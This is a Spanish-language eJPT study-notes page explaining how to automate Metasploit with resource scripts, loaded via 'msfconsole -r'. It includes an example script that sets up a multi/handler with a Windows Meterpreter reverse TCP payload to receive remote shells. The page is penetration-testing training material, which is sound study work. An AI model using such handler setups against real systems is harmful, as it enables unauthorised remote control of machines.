> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/ataques-del-lado-del-cliente/automatizacion/automatizacion-de-metasploit-con-scripts-de-recursos.md).

# Automatización de Metasploit con scripts de recursos

## 📜 ¿Qué son los Resource Scripts?

Los **resource scripts** de Metasploit son una función muy útil que permite **automatizar tareas repetitivas** dentro de `msfconsole`. Funcionan de manera similar a los scripts por lotes, permitiéndote definir una serie de comandos que se ejecutarán de forma secuencial.

***

## 🛠️ ¿Cómo funcionan?

Puedes crear un archivo de texto con comandos que normalmente ejecutarías manualmente en `msfconsole`, y luego cargarlo directamente con:

```bash
msfconsole -r script.rc
```

Esto ejecutará automáticamente todos los comandos definidos en el archivo `.rc`.

***

## 📌 ¿Para qué se usan?

Los resource scripts son útiles para:

* Configurar automáticamente un **multi/handler** para recibir shells inversas.
* Cargar módulos específicos y preconfigurar opciones.
* Ejecutar un payload al instante.
* Automatizar tareas post-explotación.
* Repetir escenarios de pruebas en laboratorios o entornos de práctica.

***

## 💡 Ejemplo básico de un resource script

```bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.6
set LPORT 4444
set ExitOnSession false
exploit -j
```

Guarda ese contenido como `handler.rc` y luego ejecútalo con:

```bash
msfconsole -r handler.rc
```
